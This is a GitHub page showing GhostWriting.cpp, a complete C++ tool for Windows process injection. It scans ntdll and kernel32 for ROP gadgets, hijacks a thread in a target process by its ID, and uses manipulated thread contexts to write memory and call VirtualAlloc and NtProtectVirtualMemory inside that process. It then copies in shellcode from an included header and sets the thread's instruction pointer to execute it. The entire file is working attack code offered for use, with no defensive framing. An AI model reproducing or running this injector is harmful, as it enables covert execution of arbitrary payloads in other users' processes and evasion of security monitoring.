-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathGhostWriting.cpp
More file actions
768 lines (607 loc) · 25.6 KB
/
Copy pathGhostWriting.cpp
File metadata and controls
768 lines (607 loc) · 25.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
#include <Windows.h>
#include <iostream>
#include <vector>
#include <algorithm>
#include <tlhelp32.h>
#include <array>
#include "definition.h"
#include "shellcode.h"
static pNtProtectVirtualMemory NtProtectVirtualMemory = NULL;
struct GadgetInfo {
ULONG64 address; // gadget地址
int offset; // MOV指令的偏移量
int popCount; // POP指令数量
ULONG64 addRspCount; // ADD RSP指令的字节数
ULONGLONG totalBytes; // 总弹出字节数
USHORT retImm16; // RET imm16值,如果是普通RET则为0
bool hasRetImm16; // 是否有RET imm16指令
// 用于排序的比较运算符
bool operator<(const GadgetInfo& other) const {
// 首先按pop数量升序排列
if (popCount != other.popCount)
return popCount < other.popCount;
// pop数量相同时,按offset升序排列(优先选择offset为0的)
if (offset != other.offset)
return offset < other.offset;
// offset相同时,按add rsp数量升序排列
if (addRspCount != other.addRspCount)
return addRspCount < other.addRspCount;
// 如果还相同,按总字节数升序排列
if (totalBytes != other.totalBytes)
return totalBytes < other.totalBytes;
// 最后按地址排序,确保结果稳定
return address < other.address;
}
};
struct GadgetResult {
ULONG64 address; // gadget地址
int offset; // MOV指令的偏移量
int popCount; // POP指令数量
ULONG64 addRspBytes; // ADD RSP,x 中的x值
bool found; // 是否找到gadget
};
BOOL DisassembleAndValidateMOV64(
PUCHAR InstructionMemoryBase,
PULONG64 InstructionMemoryIndex,
PCONTEXT PThreadContextBase,
PULONG64* WritePointer,
PULONG64* WriteItem,
int* MOVRETOffsetFromMemoryRegister
) {
UCHAR opcode0 = InstructionMemoryBase[*InstructionMemoryIndex];
UCHAR opcode1 = InstructionMemoryBase[*InstructionMemoryIndex + 1];
UCHAR opcode2 = InstructionMemoryBase[*InstructionMemoryIndex + 2];
// 只检查mov [r64],r64指令 (带REX.W前缀)
BOOL isMovR64WithRex = (opcode0 >= 0x48 && opcode0 <= 0x4F) && opcode1 == 0x89; // MOV [r64],r64 with REX.W
if (isMovR64WithRex) {
UCHAR rex = opcode0;
UCHAR ModRM = opcode2;
UCHAR mod = (ModRM >> 6) & 0x3;
UCHAR rm = ModRM & 0x7;
UCHAR reg = (ModRM >> 3) & 0x7;
// 检查是否是正确的内存寻址模式
// mod=00: [reg] 无偏移,除非rm=4(SIB)或rm=5(RIP相对寻址)
// mod=01: [reg]+disp8 带8位偏移,除非rm=4(SIB)
BOOL isValidAddressingMode =
(mod == 0 && rm != 4 && rm != 5) || // [reg] 无偏移
(mod == 1 && rm != 4); // [reg]+disp8 带8位偏移
if (!isValidAddressingMode) {
return FALSE;
}
// 检查REX.W位是否设置 (必须为64位操作)
if (!(rex & 0x08)) {
return FALSE;
}
// REX.B位影响rm寄存器
if (rex & 0x01) {
rm += 8; // R8-R15
}
// REX.R位影响reg寄存器
if (rex & 0x04) {
reg += 8; // R8-R15
}
// 所有 16 个寄存器表
ULONGLONG* RegTable[16] = {
&PThreadContextBase->Rax,
&PThreadContextBase->Rcx,
&PThreadContextBase->Rdx,
&PThreadContextBase->Rbx,
&PThreadContextBase->Rsp,
&PThreadContextBase->Rbp,
&PThreadContextBase->Rsi,
&PThreadContextBase->Rdi,
&PThreadContextBase->R8,
&PThreadContextBase->R9,
&PThreadContextBase->R10,
&PThreadContextBase->R11,
&PThreadContextBase->R12,
&PThreadContextBase->R13,
&PThreadContextBase->R14,
&PThreadContextBase->R15
};
// 非易失性寄存器筛选表(其余全为 NULL)
PULONG64 ValidRegs[16] = { nullptr };
ValidRegs[3] = &PThreadContextBase->Rbx;
ValidRegs[5] = &PThreadContextBase->Rbp;
ValidRegs[6] = &PThreadContextBase->Rsi;
ValidRegs[7] = &PThreadContextBase->Rdi;
ValidRegs[12] = &PThreadContextBase->R12;
ValidRegs[13] = &PThreadContextBase->R13;
ValidRegs[14] = &PThreadContextBase->R14;
ValidRegs[15] = &PThreadContextBase->R15;
// 确保目标寄存器(rm)和源寄存器(reg)都是非易失性的
if (ValidRegs[rm] && ValidRegs[reg]) {
*WritePointer = RegTable[rm];
*WriteItem = RegTable[reg];
*MOVRETOffsetFromMemoryRegister = (mod == 1) ? (char)InstructionMemoryBase[*InstructionMemoryIndex + 3] : 0;
*InstructionMemoryIndex += (mod == 1) ? 4 : 3;
return TRUE;
}
}
return FALSE;
}
// 查找最佳MOV [r64],r64 + RET gadget
GadgetResult FindBestMOVRETGadget(BOOL verbose = FALSE) {
GadgetResult result = { 0 };
result.found = FALSE;
ULONG64 JMPTOSELFAddress = 0;
CONTEXT WorkingThreadContext = { 0 };
PULONG64 WritePointer = NULL;
PULONG64 WriteItem = NULL;
int MOVRETOffsetFromMemoryRegister = 0;
int gadgetCount = 0;
// 用于存储所有找到的gadget
std::vector<GadgetInfo> gadgets;
const char* modules[] = { "ntdll.dll", "kernel32.dll" };
for (int moduleIndex = 0; moduleIndex < sizeof(modules) / sizeof(modules[0]); moduleIndex++) {
const char* moduleName = modules[moduleIndex];
HMODULE hModule = GetModuleHandleA(moduleName);
if (!hModule) {
if (verbose) {
printf("[-] Failed to get handle for %s\n", moduleName);
}
continue;
}
if (verbose) {
printf("[+] Searching in %s...\n", moduleName);
}
PUCHAR ModuleCode = (PUCHAR)((ULONG64)hModule + 0x00001000);
auto ModulePEHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
auto ModuleCodeSize = ModulePEHeader->OptionalHeader.SizeOfCode;
ULONG64 i = 0, j, k;
while (i < ModuleCodeSize) {
// 查找JMP $指令,找到后停止查找
if (!JMPTOSELFAddress) {
if ((ModuleCode[i] == 0xEB) && (ModuleCode[i + 1] == 0xFE)) {
JMPTOSELFAddress = (ULONG64)&ModuleCode[i];
if (verbose) {
printf("[+] Found JMP $ at: 0x%p in %s\n", (void*)JMPTOSELFAddress, moduleName);
}
}
}
// 查找MOV [r64],r64 + RET指令
ULONG64 idx = i;
if (DisassembleAndValidateMOV64(ModuleCode, &idx, &WorkingThreadContext, &WritePointer, &WriteItem, &MOVRETOffsetFromMemoryRegister)) {
j = idx;
k = 0;
BOOL foundRet = FALSE;
int popCount = 0; // 记录POP指令数量
ULONG64 addRspBytes = 0; // 记录ADD RSP指令的字节数
while (j < idx + 16) {
BYTE opcode = ModuleCode[j];
// 处理无REX前缀的POP (0x58-0x5F,除了0x5C/RSP)
if ((opcode & 0xF8) == 0x58 && opcode != 0x5C) {
k += 8; // 64位模式下POP弹出8字节
j += 1;
popCount++;
continue;
}
// 处理带REX前缀的POP (0x41 0x58-0x5F,用于R8-R15)
if (opcode == 0x41 && j + 1 < idx + 16) {
BYTE nextOpcode = ModuleCode[j + 1];
if ((nextOpcode & 0xF8) == 0x58) {
k += 8; // 64位模式下POP弹出8字节
j += 2; // REX前缀 + 操作码
popCount++;
continue;
}
}
// 处理无REX前缀的ADD RSP, imm8
if (opcode == 0x83 && j + 2 < idx + 16 && ModuleCode[j + 1] == 0xC4) {
addRspBytes = (ULONG64)(UCHAR)ModuleCode[j + 2];
j += 3;
continue;
}
// 处理带REX前缀的ADD RSP, imm8
if (opcode == 0x48 && j + 3 < idx + 16 && ModuleCode[j + 1] == 0x83 && ModuleCode[j + 2] == 0xC4) {
addRspBytes = (ULONG64)(UCHAR)ModuleCode[j + 3];
j += 4;
continue;
}
// RET
if (ModuleCode[j] == 0xC3) {
ULONG64 gadgetAddress = (ULONG64)&ModuleCode[i];
gadgetCount++;
// 创建新的gadget信息并添加到vector
GadgetInfo gadget;
gadget.address = gadgetAddress;
gadget.offset = MOVRETOffsetFromMemoryRegister;
gadget.popCount = popCount;
gadget.addRspCount = addRspBytes; // 使用实际的ADD RSP字节数
gadget.totalBytes = k;
gadget.retImm16 = 0;
gadget.hasRetImm16 = false;
gadgets.push_back(gadget);
if (verbose) {
// 输出详细信息
printf("0x%p - offset: %d, pop: %d, add rsp: 0x%llx (in %s)\n",
(void*)gadgetAddress,
MOVRETOffsetFromMemoryRegister,
popCount,
addRspBytes,
moduleName);
}
foundRet = TRUE;
break;
}
// RET imm16
else if (ModuleCode[j] == 0xC2 && j + 2 < idx + 16) {
ULONG64 gadgetAddress = (ULONG64)&ModuleCode[i];
USHORT imm16 = *(USHORT*)&ModuleCode[j + 1];
gadgetCount++;
// 创建新的gadget信息并添加到vector
GadgetInfo gadget;
gadget.address = gadgetAddress;
gadget.offset = MOVRETOffsetFromMemoryRegister;
gadget.popCount = popCount;
gadget.addRspCount = addRspBytes; // 使用实际的ADD RSP字节数
gadget.totalBytes = k;
gadget.retImm16 = imm16;
gadget.hasRetImm16 = true;
gadgets.push_back(gadget);
if (verbose) {
// 输出详细信息
printf("0x%p - offset: %d, pop: %d, add rsp: 0x%llx, ret imm16: %u (in %s)\n",
(void*)gadgetAddress,
MOVRETOffsetFromMemoryRegister,
popCount,
addRspBytes,
imm16,
moduleName);
}
foundRet = TRUE;
break;
}
break;
}
if (foundRet) {
i = j + 1; // 继续从RET指令后搜索
} else {
i++; // 没找到RET,继续搜索
}
} else {
i++;
}
}
}
if (verbose) {
if (!JMPTOSELFAddress)
printf("[-] JMP $ pattern not found.\n");
printf("[+] Total gadgets found: %d\n", gadgetCount);
}
// 按pop数量排序并返回最佳gadget
if (!gadgets.empty()) {
std::sort(gadgets.begin(), gadgets.end());
if (verbose) {
printf("\n[+] Best gadget found:\n");
const auto& g = gadgets[0];
printf("0x%p - offset: %d, pop: %d, add rsp: 0x%llx\n",
(void*)g.address,
g.offset,
g.popCount,
g.addRspCount);
}
// 填充返回结果
result.address = gadgets[0].address;
result.offset = gadgets[0].offset;
result.popCount = gadgets[0].popCount;
result.found = TRUE;
result.addRspBytes = gadgets[0].addRspCount; // 使用实际的ADD RSP字节数
}
return result;
}
// 查找JMP $
ULONG64 FindJMPSELF() {
const char* modules[] = { "ntdll.dll", "kernel32.dll" };
for (int moduleIndex = 0; moduleIndex < sizeof(modules) / sizeof(modules[0]); moduleIndex++) {
const char* moduleName = modules[moduleIndex];
HMODULE hModule = GetModuleHandleA(moduleName);
if (!hModule) {
continue;
}
PUCHAR ModuleCode = (PUCHAR)((ULONG64)hModule + 0x00001000);
auto ModulePEHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
auto ModuleCodeSize = ModulePEHeader->OptionalHeader.SizeOfCode;
for (ULONG64 i = 0; i < ModuleCodeSize; i++) {
if ((ModuleCode[i] == 0xEB) && (ModuleCode[i + 1] == 0xFE)) {
return (ULONG64)&ModuleCode[i];
}
}
}
return 0;
}
static GadgetResult gadget = { 0 };
static ULONG64 jmpAddress = NULL;
static ULONG64 jmpRsp = 0;
char* align_to_8_bytes(const char* input, size_t* aligned_len) {
size_t original_len = strlen(input);
size_t padding = (8 - (original_len % 8)) % 8;
*aligned_len = original_len + padding;
char* aligned_buf = (char*)malloc(*aligned_len);
if (!aligned_buf) {
return NULL;
}
memcpy(aligned_buf, input, original_len);
memset(aligned_buf + original_len, '\0', padding);
return aligned_buf;
}
BOOL PostUserMessageToProcessWindows(DWORD pid) {
return EnumWindows([](HWND hwnd, LPARAM lParam) -> BOOL {
DWORD wndPid = 0;
GetWindowThreadProcessId(hwnd, &wndPid);
if (wndPid == 0)
return TRUE;
if (wndPid == (DWORD)lParam) {
PostMessage(hwnd, WM_USER, 0, 0);
}
return TRUE;
}, (LPARAM)pid);
}
auto GetThreadHandle(DWORD pid, HANDLE& hThread) -> BOOLEAN{
hThread = NULL;
// 获取线程快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot failed: %lu\n", GetLastError());
return FALSE;
}
THREADENTRY32 te32 = { sizeof(te32) };
if (Thread32First(hSnapshot, &te32)) {
do {
if (te32.th32OwnerProcessID == pid) {
// 找到属于该进程的第一个线程,打开线程句柄
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (!hThread) {
printf("[-] OpenThread failed: %lu\n", GetLastError());
CloseHandle(hSnapshot);
return FALSE;
}
CloseHandle(hSnapshot);
return TRUE;
}
} while (Thread32Next(hSnapshot, &te32));
}
printf("[-] No thread found for PID %lu\n", pid);
CloseHandle(hSnapshot);
return FALSE;
}
auto WaitForThreadAutoLock(DWORD pid, HANDLE hThread, PCONTEXT context, ULONG64 RIP) -> void {
SetThreadContext(hThread, context);
do
{
PostUserMessageToProcessWindows(pid);
DWORD count = 0;
do {
count = ResumeThread(hThread);
} while (count>0);
Sleep(10);
SuspendThread(hThread);
GetThreadContext(hThread, context);
} while (context->Rip != RIP);
}
auto initStack(DWORD pid, HANDLE hThread) -> BOOLEAN{
gadget = FindBestMOVRETGadget(TRUE);
jmpAddress = FindJMPSELF();
if (!gadget.found || !jmpAddress) {
std::cout << "[-] Failed to find necessary gadgets." << std::endl;
return FALSE;
}
{
std::cout << "[+] Found gadget at: 0x" << std::hex << gadget.address << std::endl;
std::cout << "[+] Found JMP $ at: 0x" << std::hex << jmpAddress << std::endl;
std::cout << "[+] Gadget info:" << std::endl;
std::cout << " - POP count: " << std::dec << gadget.popCount << std::endl;
std::cout << " - ADD RSP bytes: 0x" << std::hex << gadget.addRspBytes << std::endl;
std::cout << " - MOV offset: " << std::dec << gadget.offset << std::endl;
}
CONTEXT workContext = { 0 };
workContext.ContextFlags = CONTEXT_ALL;
if (SuspendThread(hThread) == -1) {
std::cout << "[-] Failed to suspend thread.errorCode" << GetLastError() << std::endl;
return FALSE;
}
GetThreadContext(hThread, &workContext);
PULONG64 writePointer = NULL;
PULONG64 writeItem = NULL;
int movOffset = 0;
ULONG64 idx = 0;
if (!DisassembleAndValidateMOV64((PUCHAR)gadget.address, &idx, &workContext, &writePointer, &writeItem, &movOffset)) {
std::cout << "[-] Failed to analyze MOV gadget." << std::endl;
ResumeThread(hThread);
return FALSE;
}
// 计算需要平衡的堆栈空间
// 返回地址 + 修复pop + 修复addRsp
// 这里暂时不需要其它参数
ULONG64 bytesNeeded = (gadget.popCount * sizeof(ULONG64)) + gadget.addRspBytes;
*writePointer = (ULONG64)workContext.Rsp - gadget.offset;
*writeItem = jmpAddress;
workContext.Rip = gadget.address;
workContext.Rsp -= bytesNeeded; // 平衡堆栈
jmpRsp = workContext.Rsp;
WaitForThreadAutoLock(pid, hThread, &workContext, jmpAddress);
return TRUE;
}
// src 要八字节对齐
auto GhostMemcpy(LPVOID dst, PULONG64 src,DWORD pid, HANDLE hThread, ULONG size) -> BOOLEAN {
if (SuspendThread(hThread) == -1) {
std::cout << "[-] Failed to suspend thread.errorCode" << GetLastError() << std::endl;
return FALSE;
}
CONTEXT workContext = { 0 };
workContext.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &workContext);
PULONG64 writePointer = NULL;
PULONG64 writeItem = NULL;
int movOffset = 0;
ULONG64 idx = 0;
if (!DisassembleAndValidateMOV64((PUCHAR)gadget.address, &idx, &workContext, &writePointer, &writeItem, &movOffset)) {
std::cout << "[-] Failed to analyze MOV gadget." << std::endl;
ResumeThread(hThread);
return FALSE;
}
ULONG64 round = size / sizeof(ULONG64);
for (ULONG64 i = 0; i < round; i++) {
workContext.Rsp = jmpRsp;
*writePointer = (ULONG64)dst + i * sizeof(ULONG64) - gadget.offset;
*writeItem = (ULONG64)*(src + i);
workContext.Rip = gadget.address;
WaitForThreadAutoLock(pid ,hThread, &workContext, jmpAddress);
}
return TRUE;
}
template<typename ReturnType, typename... Args>
ReturnType CallFunction(DWORD pid, HANDLE hThread, const std::string& moduleName, const std::string& functionName, Args... args) {
static HMODULE ntdll = GetModuleHandleA(moduleName.c_str());
LPVOID funcAddr = GetProcAddress(ntdll, functionName.c_str());
constexpr size_t ArgCount = sizeof...(Args);
// 忽略部分类型
std::array<bool, ArgCount> isPointerArray;
size_t index = 0;
auto fillPointerArray = [&](auto&& arg) {
using ArgType = std::decay_t<decltype(arg)>;
isPointerArray[index++] = std::is_pointer_v<ArgType> &&
!std::is_same_v<ArgType, HANDLE> &&
!std::is_same_v<ArgType, HWND> &&
!std::is_same_v<ArgType, HINSTANCE>;
};
(fillPointerArray(args), ...);
size_t pointerCount = 0;
for (bool isPtr : isPointerArray) {
if (isPtr) pointerCount++;
}
constexpr size_t stackParamCount = ArgCount > 4 ? ArgCount - 4 : 0;
// [返回地址] [Shadow Space (4*8字节)] [栈参数] [指针值区域]
ULONG64 frameSize = 1 + 4 + stackParamCount; // 返回地址 + shadow space + 栈参数
// 总共需要的栈空间
ULONG64 totalSize = frameSize + pointerCount; // frameSize + 指针值区域
ULONG64 bytesNeeded = (gadget.popCount * sizeof(ULONG64)) + gadget.addRspBytes + totalSize * sizeof(ULONG64);
// 获取线程上下文
CONTEXT workContext = { 0 };
workContext.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &workContext);
// 计算新的栈指针
ULONG64 rsp = workContext.Rsp - bytesNeeded;
// 创建调用帧数组,包含所有栈内容
std::vector<ULONG64> callFrame(totalSize, 0);
// 设置返回地址
callFrame[0] = jmpAddress;
// Shadow space保持为0 (index 1-4)
// 参数索引
size_t argIndex = 0;
// 栈参数起始位置 (跳过返回地址和shadow space)
size_t stackIndex = 5;
// 指针值起始位置 (在基本调用帧之后)
size_t ptrValueIndex = frameSize;
// 寄存器参数值
ULONG64 regValues[4] = {0};
// 创建一个数组来存储我们需要复制的内存块
struct MemoryCopy {
LPVOID target;
ULONG64 value;
};
std::vector<MemoryCopy> memCopies;
// 处理参数
auto processArg = [&](auto&& arg, bool isPtr) {
if (argIndex < 4) {
if (isPtr) {
ULONG64 remoteBufferAddr = rsp + ptrValueIndex * sizeof(ULONG64);
callFrame[ptrValueIndex] = *(ULONG64*)arg;
regValues[argIndex] = remoteBufferAddr;
ptrValueIndex++;
} else {
regValues[argIndex] = (ULONG64)arg;
}
} else {
if (isPtr) {
ULONG64 remoteBufferAddr = rsp + ptrValueIndex * sizeof(ULONG64);
callFrame[ptrValueIndex] = *(ULONG64*)arg;
callFrame[stackIndex] = remoteBufferAddr;
ptrValueIndex++;
stackIndex++;
} else {
callFrame[stackIndex++] = (ULONG64)arg;
}
}
argIndex++;
};
size_t paramIndex = 0;
auto processAllArgs = [&](auto&& arg) {
processArg(arg, isPointerArray[paramIndex++]);
};
(processAllArgs(args), ...);
for (size_t i = 0; i < totalSize; i++) {
GhostMemcpy((LPVOID)(rsp + i * sizeof(ULONG64)), &callFrame[i], pid, hThread, sizeof(ULONG64));
}
workContext.Rcx = regValues[0];
workContext.Rdx = regValues[1];
workContext.R8 = regValues[2];
workContext.R9 = regValues[3];
workContext.Rsp = rsp;
workContext.Rip = (ULONG64)funcAddr;
WaitForThreadAutoLock(pid, hThread, &workContext, jmpAddress);
SuspendThread(hThread);
GetThreadContext(hThread, &workContext);
ResumeThread(hThread);
return static_cast<ReturnType>(workContext.Rax);
}
// 读返回值需要打开OpenProcess之类的函数 看情况用吧
template<typename T>
T GetGhostFunctionPointerResult(HANDLE hProcess, HANDLE hThread, int pointerIndex) {
CONTEXT workContext = { 0 };
workContext.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &workContext);
// 判断是否处于JMP $
if (workContext.Rip != jmpAddress) {
return T();
}
// 计算指针值在栈上的位置
// 第一个指针值位置在 RSP + 0x30 要加上ret的
ULONG64 pointerValueAddress = workContext.Rsp + (6 * sizeof(ULONG64)) + (pointerIndex - 1) * sizeof(ULONG64);
T result;
SIZE_T bytesRead;
if (!ReadProcessMemory(hProcess, (LPCVOID)pointerValueAddress, &result, sizeof(T), &bytesRead)) {
return T();
}
return result;
}
int main(int argc, char* argv[]) {
HANDLE hThread = NULL;
DWORD pid = atoi(argv[1]);
if (!GetThreadHandle(pid, hThread)) {
return 1;
}
// 初始化栈 jmp $
if (!initStack(pid, hThread)) return 1;
LPVOID lpMem = NULL;
SIZE_T size = sizeof(shellcode);
NTSTATUS status = 0xC0000001;
system("pause");
lpMem = (LPVOID)CallFunction<ULONG64>(pid, hThread, "Kernel32.dll", "VirtualAlloc", NULL,size, MEM_COMMIT, PAGE_READWRITE);
printf("[+] Allocated memory at: 0x%p\n", lpMem);
// 将shellcode写入分配的内存
if (!GhostMemcpy(lpMem, (PULONG64)shellcode, pid, hThread, size)) {
std::cout << "[-] Failed to copy shellcode to allocated memory." << std::endl;
return 1;
}
ULONG oldProtect = 0;
status = CallFunction<NTSTATUS>(pid, hThread,"ntdll.dll", "NtProtectVirtualMemory", (HANDLE)-1, &lpMem, &size, PAGE_EXECUTE_READ, &oldProtect);
if (NT_SUCCESS(status)) {
SuspendThread(hThread);
CONTEXT workContext = { 0 };
workContext.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &workContext);
workContext.Rip = (ULONG64)lpMem;
SetThreadContext(hThread, &workContext);
DWORD count = 0;
do {
count = ResumeThread(hThread);
} while (count > 0);
std::cout << "[+] Executed!" << std::endl;
}else {
std::cout << "[-] NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
return 1;
}
system("pause");
return 0;
}